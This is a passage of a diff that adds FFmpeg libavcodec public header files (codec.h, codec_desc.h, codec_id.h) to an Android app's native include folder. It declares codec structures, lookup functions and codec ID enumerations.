+    const AVRational *supported_framerates; ///< @deprecated use avcodec_get_supported_config()
+    attribute_deprecated
+    const enum AVPixelFormat *pix_fmts;     ///< @deprecated use avcodec_get_supported_config()
+    attribute_deprecated
+    const int *supported_samplerates;       ///< @deprecated use avcodec_get_supported_config()
+    attribute_deprecated
+    const enum AVSampleFormat *sample_fmts; ///< @deprecated use avcodec_get_supported_config()
+
+    const AVClass *priv_class;              ///< AVClass for the private context
+    const AVProfile *profiles;              ///< array of recognized profiles, or NULL if unknown, array is terminated by {AV_PROFILE_UNKNOWN}
+
+    /**
+     * Group name of the codec implementation.
+     * This is a short symbolic name of the wrapper backing this codec. A
+     * wrapper uses some kind of external implementation for the codec, such
+     * as an external library, or a codec implementation provided by the OS or
+     * the hardware.
+     * If this field is NULL, this is a builtin, libavcodec native codec.
+     * If non-NULL, this will be the suffix in AVCodec.name in most cases
+     * (usually AVCodec.name will be of the form "<codec_name>_<wrapper_name>").
+     */
+    const char *wrapper_name;
+
+    /**
+     * Array of supported channel layouts, terminated with a zeroed layout.
+     * @deprecated use avcodec_get_supported_config()
+     */
+    attribute_deprecated
+    const AVChannelLayout *ch_layouts;
+} AVCodec;
+
+/**
+ * Iterate over all registered codecs.
+ *
+ * @param opaque a pointer where libavcodec will store the iteration state. Must
+ *               point to NULL to start the iteration.
+ *
+ * @return the next registered codec or NULL when the iteration is
+ *         finished
+ */
+const AVCodec *av_codec_iterate(void **opaque);
+
+/**
+ * Find a registered decoder with a matching codec ID.
+ *
+ * @param id AVCodecID of the requested decoder
+ * @return A decoder if one was found, NULL otherwise.
+ */
+const AVCodec *avcodec_find_decoder(enum AVCodecID id);
+
+/**
+ * Find a registered decoder with the specified name.
+ *
+ * @param name name of the requested decoder
+ * @return A decoder if one was found, NULL otherwise.
+ */
+const AVCodec *avcodec_find_decoder_by_name(const char *name);
+
+/**
+ * Find a registered encoder with a matching codec ID.
+ *
+ * @param id AVCodecID of the requested encoder
+ * @return An encoder if one was found, NULL otherwise.
+ */
+const AVCodec *avcodec_find_encoder(enum AVCodecID id);
+
+/**
+ * Find a registered encoder with the specified name.
+ *
+ * @param name name of the requested encoder
+ * @return An encoder if one was found, NULL otherwise.
+ */
+const AVCodec *avcodec_find_encoder_by_name(const char *name);
+/**
+ * @return a non-zero number if codec is an encoder, zero otherwise
+ */
+int av_codec_is_encoder(const AVCodec *codec);
+
+/**
+ * @return a non-zero number if codec is a decoder, zero otherwise
+ */
+int av_codec_is_decoder(const AVCodec *codec);
+
+/**
+ * Return a name for the specified profile, if available.
+ *
+ * @param codec the codec that is searched for the given profile
+ * @param profile the profile value for which a name is requested
+ * @return A name for the profile if found, NULL otherwise.
+ */
+const char *av_get_profile_name(const AVCodec *codec, int profile);
+
+enum {
+    /**
+     * The codec supports this format via the hw_device_ctx interface.
+     *
+     * When selecting this format, AVCodecContext.hw_device_ctx should
+     * have been set to a device of the specified type before calling
+     * avcodec_open2().
+     */
+    AV_CODEC_HW_CONFIG_METHOD_HW_DEVICE_CTX = 0x01,
+    /**
+     * The codec supports this format via the hw_frames_ctx interface.
+     *
+     * When selecting this format for a decoder,
+     * AVCodecContext.hw_frames_ctx should be set to a suitable frames
+     * context inside the get_format() callback.  The frames context
+     * must have been created on a device of the specified type.
+     *
+     * When selecting this format for an encoder,
+     * AVCodecContext.hw_frames_ctx should be set to the context which
+     * will be used for the input frames before calling avcodec_open2().
+     */
+    AV_CODEC_HW_CONFIG_METHOD_HW_FRAMES_CTX = 0x02,
+    /**
+     * The codec supports this format by some internal method.
+     *
+     * This format can be selected without any additional configuration -
+     * no device or frames context is required.
+     */
+    AV_CODEC_HW_CONFIG_METHOD_INTERNAL      = 0x04,
+    /**
+     * The codec supports this format by some ad-hoc method.
+     *
+     * Additional settings and/or function calls are required.  See the
+     * codec-specific documentation for details.  (Methods requiring
+     * this sort of configuration are deprecated and others should be
+     * used in preference.)
+     */
+    AV_CODEC_HW_CONFIG_METHOD_AD_HOC        = 0x08,
+};
+
+typedef struct AVCodecHWConfig {
+    /**
+     * For decoders, a hardware pixel format which that decoder may be
+     * able to decode to if suitable hardware is available.
+     *
+     * For encoders, a pixel format which the encoder may be able to
+     * accept.  If set to AV_PIX_FMT_NONE, this applies to all pixel
+     * formats supported by the codec.
+     */
+    enum AVPixelFormat pix_fmt;
+    /**
+     * Bit set of AV_CODEC_HW_CONFIG_METHOD_* flags, describing the possible
+     * setup methods which can be used with this configuration.
+     */
+    int methods;
+    /**
+     * The device type associated with the configuration.
+     *
+     * Must be set for AV_CODEC_HW_CONFIG_METHOD_HW_DEVICE_CTX and
+     * AV_CODEC_HW_CONFIG_METHOD_HW_FRAMES_CTX, otherwise unused.
+     */
+    enum AVHWDeviceType device_type;
+} AVCodecHWConfig;
+
+/**
+ * Retrieve supported hardware configurations for a codec.
+ *
+ * Values of index from zero to some maximum return the indexed configuration
+ * descriptor; all other values return NULL.  If the codec does not support
+ * any hardware configurations then it will always return NULL.
+ */
+const AVCodecHWConfig *avcodec_get_hw_config(const AVCodec *codec, int index);
+
+/**
+ * @}
+ */
+
+#endif /* AVCODEC_CODEC_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/codec_desc.h

@@ -0,0 +1,134 @@
+/*
+ * Codec descriptors public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_CODEC_DESC_H
+#define AVCODEC_CODEC_DESC_H
+
+#include "libavutil/avutil.h"
+
+#include "codec_id.h"
+
+/**
+ * @addtogroup lavc_core
+ * @{
+ */
+
+/**
+ * This struct describes the properties of a single codec described by an
+ * AVCodecID.
+ * @see avcodec_descriptor_get()
+ */
+typedef struct AVCodecDescriptor {
+    enum AVCodecID     id;
+    enum AVMediaType type;
+    /**
+     * Name of the codec described by this descriptor. It is non-empty and
+     * unique for each codec descriptor. It should contain alphanumeric
+     * characters and '_' only.
+     */
+    const char      *name;
+    /**
+     * A more descriptive name for this codec. May be NULL.
+     */
+    const char *long_name;
+    /**
+     * Codec properties, a combination of AV_CODEC_PROP_* flags.
+     */
+    int             props;
+    /**
+     * MIME type(s) associated with the codec.
+     * May be NULL; if not, a NULL-terminated array of MIME types.
+     * The first item is always non-NULL and is the preferred MIME type.
+     */
+    const char *const *mime_types;
+    /**
+     * If non-NULL, an array of profiles recognized for this codec.
+     * Terminated with AV_PROFILE_UNKNOWN.
+     */
+    const struct AVProfile *profiles;
+} AVCodecDescriptor;
+
+/**
+ * Codec uses only intra compression.
+ * Video and audio codecs only.
+ */
+#define AV_CODEC_PROP_INTRA_ONLY    (1 << 0)
+/**
+ * Codec supports lossy compression. Audio and video codecs only.
+ * @note a codec may support both lossy and lossless
+ * compression modes
+ */
+#define AV_CODEC_PROP_LOSSY         (1 << 1)
+/**
+ * Codec supports lossless compression. Audio and video codecs only.
+ */
+#define AV_CODEC_PROP_LOSSLESS      (1 << 2)
+/**
+ * Codec supports frame reordering. That is, the coded order (the order in which
+ * the encoded packets are output by the encoders / stored / input to the
+ * decoders) may be different from the presentation order of the corresponding
+ * frames.
+ *
+ * For codecs that do not have this property set, PTS and DTS should always be
+ * equal.
+ */
+#define AV_CODEC_PROP_REORDER       (1 << 3)
+
+/**
+ * Video codec supports separate coding of fields in interlaced frames.
+ */
+#define AV_CODEC_PROP_FIELDS        (1 << 4)
+
+/**
+ * Subtitle codec is bitmap based
+ * Decoded AVSubtitle data can be read from the AVSubtitleRect->pict field.
+ */
+#define AV_CODEC_PROP_BITMAP_SUB    (1 << 16)
+/**
+ * Subtitle codec is text based.
+ * Decoded AVSubtitle data can be read from the AVSubtitleRect->ass field.
+ */
+#define AV_CODEC_PROP_TEXT_SUB      (1 << 17)
+
+/**
+ * @return descriptor for given codec ID or NULL if no descriptor exists.
+ */
+const AVCodecDescriptor *avcodec_descriptor_get(enum AVCodecID id);
+
+/**
+ * Iterate over all codec descriptors known to libavcodec.
+ *
+ * @param prev previous descriptor. NULL to get the first descriptor.
+ *
+ * @return next descriptor or NULL after the last descriptor
+ */
+const AVCodecDescriptor *avcodec_descriptor_next(const AVCodecDescriptor *prev);
+
+/**
+ * @return codec descriptor with the given name or NULL if no such descriptor
+ *         exists.
+ */
+const AVCodecDescriptor *avcodec_descriptor_get_by_name(const char *name);
+
+/**
+ * @}
+ */
+
+#endif // AVCODEC_CODEC_DESC_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/codec_id.h

@@ -0,0 +1,669 @@
+/*
+ * Codec IDs
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_CODEC_ID_H
+#define AVCODEC_CODEC_ID_H
+
+#include "libavutil/avutil.h"
+#include "libavutil/samplefmt.h"
+
+#include "version_major.h"
+
+/**
+ * @addtogroup lavc_core
+ * @{
+ */
+
+/**
+ * Identify the syntax and semantics of the bitstream.
+ * The principle is roughly:
+ * Two decoders with the same ID can decode the same streams.
+ * Two encoders with the same ID can encode compatible streams.
+ * There may be slight deviations from the principle due to implementation
+ * details.
+ *
+ * If you add a codec ID to this list, add it so that
+ * 1. no value of an existing codec ID changes (that would break ABI),
+ * 2. it is as close as possible to similar codecs
+ *
+ * After adding new codec IDs, do not forget to add an entry to the codec
+ * descriptor list and bump libavcodec minor version.
+ */
+enum AVCodecID {
+    AV_CODEC_ID_NONE,
+
+    /* video codecs */
+    AV_CODEC_ID_MPEG1VIDEO,
+    AV_CODEC_ID_MPEG2VIDEO, ///< preferred ID for MPEG-1/2 video decoding
+    AV_CODEC_ID_H261,
+    AV_CODEC_ID_H263,
+    AV_CODEC_ID_RV10,
+    AV_CODEC_ID_RV20,
+    AV_CODEC_ID_MJPEG,
+    AV_CODEC_ID_MJPEGB,
+    AV_CODEC_ID_LJPEG,
+    AV_CODEC_ID_SP5X,
+    AV_CODEC_ID_JPEGLS,
+    AV_CODEC_ID_MPEG4,
+    AV_CODEC_ID_RAWVIDEO,
+    AV_CODEC_ID_MSMPEG4V1,
+    AV_CODEC_ID_MSMPEG4V2,
+    AV_CODEC_ID_MSMPEG4V3,
+    AV_CODEC_ID_WMV1,
+    AV_CODEC_ID_WMV2,
+    AV_CODEC_ID_H263P,
+    AV_CODEC_ID_H263I,
+    AV_CODEC_ID_FLV1,
+    AV_CODEC_ID_SVQ1,
+    AV_CODEC_ID_SVQ3,
+    AV_CODEC_ID_DVVIDEO,
+    AV_CODEC_ID_HUFFYUV,
+    AV_CODEC_ID_CYUV,
+    AV_CODEC_ID_H264,
+    AV_CODEC_ID_INDEO3,
+    AV_CODEC_ID_VP3,
+    AV_CODEC_ID_THEORA,
+    AV_CODEC_ID_ASV1,
+    AV_CODEC_ID_ASV2,
+    AV_CODEC_ID_FFV1,
+    AV_CODEC_ID_4XM,
+    AV_CODEC_ID_VCR1,
+    AV_CODEC_ID_CLJR,
+    AV_CODEC_ID_MDEC,
+    AV_CODEC_ID_ROQ,
+    AV_CODEC_ID_INTERPLAY_VIDEO,
+    AV_CODEC_ID_XAN_WC3,
+    AV_CODEC_ID_XAN_WC4,
+    AV_CODEC_ID_RPZA,
+    AV_CODEC_ID_CINEPAK,
+    AV_CODEC_ID_WS_VQA,
+    AV_CODEC_ID_MSRLE,
+    AV_CODEC_ID_MSVIDEO1,
+    AV_CODEC_ID_IDCIN,
+    AV_CODEC_ID_8BPS,
+    AV_CODEC_ID_SMC,
+    AV_CODEC_ID_FLIC,
+    AV_CODEC_ID_TRUEMOTION1,
+    AV_CODEC_ID_VMDVIDEO,
+    AV_CODEC_ID_MSZH,
+    AV_CODEC_ID_ZLIB,
+    AV_CODEC_ID_QTRLE,
+    AV_CODEC_ID_TSCC,
+    AV_CODEC_ID_ULTI,
+    AV_CODEC_ID_QDRAW,
+    AV_CODEC_ID_VIXL,
+    AV_CODEC_ID_QPEG,
+    AV_CODEC_ID_PNG,
+    AV_CODEC_ID_PPM,
+    AV_CODEC_ID_PBM,
+    AV_CODEC_ID_PGM,
+    AV_CODEC_ID_PGMYUV,
+    AV_CODEC_ID_PAM,
+    AV_CODEC_ID_FFVHUFF,
+    AV_CODEC_ID_RV30,
+    AV_CODEC_ID_RV40,
+    AV_CODEC_ID_VC1,
+    AV_CODEC_ID_WMV3,
+    AV_CODEC_ID_LOCO,
+    AV_CODEC_ID_WNV1,
+    AV_CODEC_ID_AASC,
+    AV_CODEC_ID_INDEO2,
+    AV_CODEC_ID_FRAPS,
+    AV_CODEC_ID_TRUEMOTION2,
+    AV_CODEC_ID_BMP,
+    AV_CODEC_ID_CSCD,
+    AV_CODEC_ID_MMVIDEO,
+    AV_CODEC_ID_ZMBV,
+    AV_CODEC_ID_AVS,
+    AV_CODEC_ID_SMACKVIDEO,
+    AV_CODEC_ID_NUV,
+    AV_CODEC_ID_KMVC,
+    AV_CODEC_ID_FLASHSV,
+    AV_CODEC_ID_CAVS,
+    AV_CODEC_ID_JPEG2000,
+    AV_CODEC_ID_VMNC,
+    AV_CODEC_ID_VP5,
+    AV_CODEC_ID_VP6,
+    AV_CODEC_ID_VP6F,
+    AV_CODEC_ID_TARGA,
+    AV_CODEC_ID_DSICINVIDEO,
+    AV_CODEC_ID_TIERTEXSEQVIDEO,
+    AV_CODEC_ID_TIFF,
+    AV_CODEC_ID_GIF,
+    AV_CODEC_ID_DXA,
+    AV_CODEC_ID_DNXHD,
+    AV_CODEC_ID_THP,
+    AV_CODEC_ID_SGI,
+    AV_CODEC_ID_C93,
+    AV_CODEC_ID_BETHSOFTVID,
+    AV_CODEC_ID_PTX,
+    AV_CODEC_ID_TXD,
+    AV_CODEC_ID_VP6A,
+    AV_CODEC_ID_AMV,
+    AV_CODEC_ID_VB,
+    AV_CODEC_ID_PCX,
+    AV_CODEC_ID_SUNRAST,
+    AV_CODEC_ID_INDEO4,
+    AV_CODEC_ID_INDEO5,
+    AV_CODEC_ID_MIMIC,
+    AV_CODEC_ID_RL2,
+    AV_CODEC_ID_ESCAPE124,
+    AV_CODEC_ID_DIRAC,
+    AV_CODEC_ID_BFI,
+    AV_CODEC_ID_CMV,
+    AV_CODEC_ID_MOTIONPIXELS,
+    AV_CODEC_ID_TGV,
+    AV_CODEC_ID_TGQ,
+    AV_CODEC_ID_TQI,
+    AV_CODEC_ID_AURA,
+    AV_CODEC_ID_AURA2,
+    AV_CODEC_ID_V210X,
+    AV_CODEC_ID_TMV,
+    AV_CODEC_ID_V210,
+    AV_CODEC_ID_DPX,
+    AV_CODEC_ID_MAD,
+    AV_CODEC_ID_FRWU,
+    AV_CODEC_ID_FLASHSV2,
+    AV_CODEC_ID_CDGRAPHICS,
+    AV_CODEC_ID_R210,
+    AV_CODEC_ID_ANM,
+    AV_CODEC_ID_BINKVIDEO,
+    AV_CODEC_ID_IFF_ILBM,
+#define AV_CODEC_ID_IFF_BYTERUN1 AV_CODEC_ID_IFF_ILBM
+    AV_CODEC_ID_KGV1,
+    AV_CODEC_ID_YOP,
+    AV_CODEC_ID_VP8,
+    AV_CODEC_ID_PICTOR,
+    AV_CODEC_ID_ANSI,
+    AV_CODEC_ID_A64_MULTI,
+    AV_CODEC_ID_A64_MULTI5,
+    AV_CODEC_ID_R10K,
+    AV_CODEC_ID_MXPEG,
+    AV_CODEC_ID_LAGARITH,
+    AV_CODEC_ID_PRORES,
+    AV_CODEC_ID_JV,
+    AV_CODEC_ID_DFA,
+    AV_CODEC_ID_WMV3IMAGE,
+    AV_CODEC_ID_VC1IMAGE,
+    AV_CODEC_ID_UTVIDEO,
+    AV_CODEC_ID_BMV_VIDEO,
+    AV_CODEC_ID_VBLE,
+    AV_CODEC_ID_DXTORY,
+    AV_CODEC_ID_V410,
+    AV_CODEC_ID_XWD,
+    AV_CODEC_ID_CDXL,
+    AV_CODEC_ID_XBM,
+    AV_CODEC_ID_ZEROCODEC,
+    AV_CODEC_ID_MSS1,
+    AV_CODEC_ID_MSA1,
+    AV_CODEC_ID_TSCC2,
+    AV_CODEC_ID_MTS2,
+    AV_CODEC_ID_CLLC,
+    AV_CODEC_ID_MSS2,
+    AV_CODEC_ID_VP9,
+    AV_CODEC_ID_AIC,
+    AV_CODEC_ID_ESCAPE130,
+    AV_CODEC_ID_G2M,
+    AV_CODEC_ID_WEBP,
+    AV_CODEC_ID_HNM4_VIDEO,
+    AV_CODEC_ID_HEVC,
+#define AV_CODEC_ID_H265 AV_CODEC_ID_HEVC
+    AV_CODEC_ID_FIC,
+    AV_CODEC_ID_ALIAS_PIX,
+    AV_CODEC_ID_BRENDER_PIX,
+    AV_CODEC_ID_PAF_VIDEO,
+    AV_CODEC_ID_EXR,
+    AV_CODEC_ID_VP7,
+    AV_CODEC_ID_SANM,
+    AV_CODEC_ID_SGIRLE,
+    AV_CODEC_ID_MVC1,
+    AV_CODEC_ID_MVC2,
+    AV_CODEC_ID_HQX,
+    AV_CODEC_ID_TDSC,
+    AV_CODEC_ID_HQ_HQA,
+    AV_CODEC_ID_HAP,
+    AV_CODEC_ID_DDS,
+    AV_CODEC_ID_DXV,
+    AV_CODEC_ID_SCREENPRESSO,
+    AV_CODEC_ID_RSCC,
+    AV_CODEC_ID_AVS2,
+    AV_CODEC_ID_PGX,
+    AV_CODEC_ID_AVS3,
+    AV_CODEC_ID_MSP2,
+    AV_CODEC_ID_VVC,
+#define AV_CODEC_ID_H266 AV_CODEC_ID_VVC
+    AV_CODEC_ID_Y41P,
+    AV_CODEC_ID_AVRP,
+    AV_CODEC_ID_012V,
+    AV_CODEC_ID_AVUI,
+    AV_CODEC_ID_TARGA_Y216,
+    AV_CODEC_ID_V308,
+    AV_CODEC_ID_V408,
+    AV_CODEC_ID_YUV4,
+    AV_CODEC_ID_AVRN,
+    AV_CODEC_ID_CPIA,
+    AV_CODEC_ID_XFACE,
+    AV_CODEC_ID_SNOW,
+    AV_CODEC_ID_SMVJPEG,
+    AV_CODEC_ID_APNG,
+    AV_CODEC_ID_DAALA,
+    AV_CODEC_ID_CFHD,
+    AV_CODEC_ID_TRUEMOTION2RT,
+    AV_CODEC_ID_M101,
+    AV_CODEC_ID_MAGICYUV,
+    AV_CODEC_ID_SHEERVIDEO,
+    AV_CODEC_ID_YLC,
+    AV_CODEC_ID_PSD,
+    AV_CODEC_ID_PIXLET,
+    AV_CODEC_ID_SPEEDHQ,
+    AV_CODEC_ID_FMVC,
+    AV_CODEC_ID_SCPR,
+    AV_CODEC_ID_CLEARVIDEO,
+    AV_CODEC_ID_XPM,
+    AV_CODEC_ID_AV1,
+    AV_CODEC_ID_BITPACKED,
+    AV_CODEC_ID_MSCC,
+    AV_CODEC_ID_SRGC,
+    AV_CODEC_ID_SVG,
+    AV_CODEC_ID_GDV,
+    AV_CODEC_ID_FITS,
+    AV_CODEC_ID_IMM4,
+    AV_CODEC_ID_PROSUMER,
+    AV_CODEC_ID_MWSC,
+    AV_CODEC_ID_WCMV,
+    AV_CODEC_ID_RASC,
+    AV_CODEC_ID_HYMT,
+    AV_CODEC_ID_ARBC,
+    AV_CODEC_ID_AGM,
+    AV_CODEC_ID_LSCR,
+    AV_CODEC_ID_VP4,
+    AV_CODEC_ID_IMM5,
+    AV_CODEC_ID_MVDV,
+    AV_CODEC_ID_MVHA,
+    AV_CODEC_ID_CDTOONS,
+    AV_CODEC_ID_MV30,
+    AV_CODEC_ID_NOTCHLC,
+    AV_CODEC_ID_PFM,
+    AV_CODEC_ID_MOBICLIP,
+    AV_CODEC_ID_PHOTOCD,
+    AV_CODEC_ID_IPU,
+    AV_CODEC_ID_ARGO,
+    AV_CODEC_ID_CRI,
+    AV_CODEC_ID_SIMBIOSIS_IMX,
+    AV_CODEC_ID_SGA_VIDEO,
+    AV_CODEC_ID_GEM,
+    AV_CODEC_ID_VBN,
+    AV_CODEC_ID_JPEGXL,
+    AV_CODEC_ID_QOI,
+    AV_CODEC_ID_PHM,
+    AV_CODEC_ID_RADIANCE_HDR,
+    AV_CODEC_ID_WBMP,
+    AV_CODEC_ID_MEDIA100,
+    AV_CODEC_ID_VQC,
+    AV_CODEC_ID_PDV,
+    AV_CODEC_ID_EVC,
+    AV_CODEC_ID_RTV1,
+    AV_CODEC_ID_VMIX,
+    AV_CODEC_ID_LEAD,
+
+    /* various PCM "codecs" */
+    AV_CODEC_ID_FIRST_AUDIO = 0x10000,     ///< A dummy id pointing at the start of audio codecs
+    AV_CODEC_ID_PCM_S16LE = 0x10000,
+    AV_CODEC_ID_PCM_S16BE,
+    AV_CODEC_ID_PCM_U16LE,
+    AV_CODEC_ID_PCM_U16BE,
+    AV_CODEC_ID_PCM_S8,
+    AV_CODEC_ID_PCM_U8,
+    AV_CODEC_ID_PCM_MULAW,
+    AV_CODEC_ID_PCM_ALAW,
+    AV_CODEC_ID_PCM_S32LE,
+    AV_CODEC_ID_PCM_S32BE,
+    AV_CODEC_ID_PCM_U32LE,
+    AV_CODEC_ID_PCM_U32BE,
+    AV_CODEC_ID_PCM_S24LE,
+    AV_CODEC_ID_PCM_S24BE,
+    AV_CODEC_ID_PCM_U24LE,
+    AV_CODEC_ID_PCM_U24BE,
+    AV_CODEC_ID_PCM_S24DAUD,
+    AV_CODEC_ID_PCM_ZORK,
+    AV_CODEC_ID_PCM_S16LE_PLANAR,
+    AV_CODEC_ID_PCM_DVD,
+    AV_CODEC_ID_PCM_F32BE,
+    AV_CODEC_ID_PCM_F32LE,
+    AV_CODEC_ID_PCM_F64BE,
+    AV_CODEC_ID_PCM_F64LE,
+    AV_CODEC_ID_PCM_BLURAY,
+    AV_CODEC_ID_PCM_LXF,
+    AV_CODEC_ID_S302M,
+    AV_CODEC_ID_PCM_S8_PLANAR,
+    AV_CODEC_ID_PCM_S24LE_PLANAR,
+    AV_CODEC_ID_PCM_S32LE_PLANAR,
+    AV_CODEC_ID_PCM_S16BE_PLANAR,
+    AV_CODEC_ID_PCM_S64LE,
+    AV_CODEC_ID_PCM_S64BE,
+    AV_CODEC_ID_PCM_F16LE,
+    AV_CODEC_ID_PCM_F24LE,
+    AV_CODEC_ID_PCM_VIDC,
+    AV_CODEC_ID_PCM_SGA,
+
+    /* various ADPCM codecs */
+    AV_CODEC_ID_ADPCM_IMA_QT = 0x11000,
+    AV_CODEC_ID_ADPCM_IMA_WAV,
+    AV_CODEC_ID_ADPCM_IMA_DK3,
+    AV_CODEC_ID_ADPCM_IMA_DK4,
+    AV_CODEC_ID_ADPCM_IMA_WS,
+    AV_CODEC_ID_ADPCM_IMA_SMJPEG,
+    AV_CODEC_ID_ADPCM_MS,
+    AV_CODEC_ID_ADPCM_4XM,
+    AV_CODEC_ID_ADPCM_XA,
+    AV_CODEC_ID_ADPCM_ADX,
+    AV_CODEC_ID_ADPCM_EA,
+    AV_CODEC_ID_ADPCM_G726,
+    AV_CODEC_ID_ADPCM_CT,
+    AV_CODEC_ID_ADPCM_SWF,
+    AV_CODEC_ID_ADPCM_YAMAHA,
+    AV_CODEC_ID_ADPCM_SBPRO_4,
+    AV_CODEC_ID_ADPCM_SBPRO_3,
+    AV_CODEC_ID_ADPCM_SBPRO_2,
+    AV_CODEC_ID_ADPCM_THP,
+    AV_CODEC_ID_ADPCM_IMA_AMV,
+    AV_CODEC_ID_ADPCM_EA_R1,
+    AV_CODEC_ID_ADPCM_EA_R3,
+    AV_CODEC_ID_ADPCM_EA_R2,
+    AV_CODEC_ID_ADPCM_IMA_EA_SEAD,
+    AV_CODEC_ID_ADPCM_IMA_EA_EACS,
+    AV_CODEC_ID_ADPCM_EA_XAS,
+    AV_CODEC_ID_ADPCM_EA_MAXIS_XA,
+    AV_CODEC_ID_ADPCM_IMA_ISS,
+    AV_CODEC_ID_ADPCM_G722,
+    AV_CODEC_ID_ADPCM_IMA_APC,
+    AV_CODEC_ID_ADPCM_VIMA,
+    AV_CODEC_ID_ADPCM_AFC,
+    AV_CODEC_ID_ADPCM_IMA_OKI,
+    AV_CODEC_ID_ADPCM_DTK,
+    AV_CODEC_ID_ADPCM_IMA_RAD,
+    AV_CODEC_ID_ADPCM_G726LE,
+    AV_CODEC_ID_ADPCM_THP_LE,
+    AV_CODEC_ID_ADPCM_PSX,
+    AV_CODEC_ID_ADPCM_AICA,
+    AV_CODEC_ID_ADPCM_IMA_DAT4,
+    AV_CODEC_ID_ADPCM_MTAF,
+    AV_CODEC_ID_ADPCM_AGM,
+    AV_CODEC_ID_ADPCM_ARGO,
+    AV_CODEC_ID_ADPCM_IMA_SSI,
+    AV_CODEC_ID_ADPCM_ZORK,
+    AV_CODEC_ID_ADPCM_IMA_APM,
+    AV_CODEC_ID_ADPCM_IMA_ALP,
+    AV_CODEC_ID_ADPCM_IMA_MTF,
+    AV_CODEC_ID_ADPCM_IMA_CUNNING,
+    AV_CODEC_ID_ADPCM_IMA_MOFLEX,
+    AV_CODEC_ID_ADPCM_IMA_ACORN,
+    AV_CODEC_ID_ADPCM_XMD,
+
+    /* AMR */
+    AV_CODEC_ID_AMR_NB = 0x12000,
+    AV_CODEC_ID_AMR_WB,
+
+    /* RealAudio codecs*/
+    AV_CODEC_ID_RA_144 = 0x13000,
+    AV_CODEC_ID_RA_288,
+
+    /* various DPCM codecs */
+    AV_CODEC_ID_ROQ_DPCM = 0x14000,
+    AV_CODEC_ID_INTERPLAY_DPCM,
+    AV_CODEC_ID_XAN_DPCM,
+    AV_CODEC_ID_SOL_DPCM,
+    AV_CODEC_ID_SDX2_DPCM,
+    AV_CODEC_ID_GREMLIN_DPCM,
+    AV_CODEC_ID_DERF_DPCM,
+    AV_CODEC_ID_WADY_DPCM,
+    AV_CODEC_ID_CBD2_DPCM,
+
+    /* audio codecs */
+    AV_CODEC_ID_MP2 = 0x15000,
+    AV_CODEC_ID_MP3, ///< preferred ID for decoding MPEG audio layer 1, 2 or 3
+    AV_CODEC_ID_AAC,
+    AV_CODEC_ID_AC3,
+    AV_CODEC_ID_DTS,
+    AV_CODEC_ID_VORBIS,
+    AV_CODEC_ID_DVAUDIO,
+    AV_CODEC_ID_WMAV1,
+    AV_CODEC_ID_WMAV2,
+    AV_CODEC_ID_MACE3,
+    AV_CODEC_ID_MACE6,
+    AV_CODEC_ID_VMDAUDIO,
+    AV_CODEC_ID_FLAC,
+    AV_CODEC_ID_MP3ADU,
+    AV_CODEC_ID_MP3ON4,
+    AV_CODEC_ID_SHORTEN,
+    AV_CODEC_ID_ALAC,
+    AV_CODEC_ID_WESTWOOD_SND1,
+    AV_CODEC_ID_GSM, ///< as in Berlin toast format
+    AV_CODEC_ID_QDM2,
+    AV_CODEC_ID_COOK,
+    AV_CODEC_ID_TRUESPEECH,
+    AV_CODEC_ID_TTA,
+    AV_CODEC_ID_SMACKAUDIO,
+    AV_CODEC_ID_QCELP,
+    AV_CODEC_ID_WAVPACK,
+    AV_CODEC_ID_DSICINAUDIO,
+    AV_CODEC_ID_IMC,
+    AV_CODEC_ID_MUSEPACK7,
+    AV_CODEC_ID_MLP,
+    AV_CODEC_ID_GSM_MS, /* as found in WAV */
+    AV_CODEC_ID_ATRAC3,
+    AV_CODEC_ID_APE,
+    AV_CODEC_ID_NELLYMOSER,
+    AV_CODEC_ID_MUSEPACK8,
+    AV_CODEC_ID_SPEEX,
+    AV_CODEC_ID_WMAVOICE,
+    AV_CODEC_ID_WMAPRO,
+    AV_CODEC_ID_WMALOSSLESS,
+    AV_CODEC_ID_ATRAC3P,
+    AV_CODEC_ID_EAC3,
+    AV_CODEC_ID_SIPR,
+    AV_CODEC_ID_MP1,
+    AV_CODEC_ID_TWINVQ,
+    AV_CODEC_ID_TRUEHD,
+    AV_CODEC_ID_MP4ALS,
+    AV_CODEC_ID_ATRAC1,
+    AV_CODEC_ID_BINKAUDIO_RDFT,
+    AV_CODEC_ID_BINKAUDIO_DCT,
+    AV_CODEC_ID_AAC_LATM,
+    AV_CODEC_ID_QDMC,
+    AV_CODEC_ID_CELT,
+    AV_CODEC_ID_G723_1,
+    AV_CODEC_ID_G729,
+    AV_CODEC_ID_8SVX_EXP,
+    AV_CODEC_ID_8SVX_FIB,
+    AV_CODEC_ID_BMV_AUDIO,
+    AV_CODEC_ID_RALF,
+    AV_CODEC_ID_IAC,
+    AV_CODEC_ID_ILBC,
+    AV_CODEC_ID_OPUS,
+    AV_CODEC_ID_COMFORT_NOISE,
+    AV_CODEC_ID_TAK,
+    AV_CODEC_ID_METASOUND,
+    AV_CODEC_ID_PAF_AUDIO,
+    AV_CODEC_ID_ON2AVC,
+    AV_CODEC_ID_DSS_SP,
+    AV_CODEC_ID_CODEC2,
+    AV_CODEC_ID_FFWAVESYNTH,
+    AV_CODEC_ID_SONIC,
+    AV_CODEC_ID_SONIC_LS,
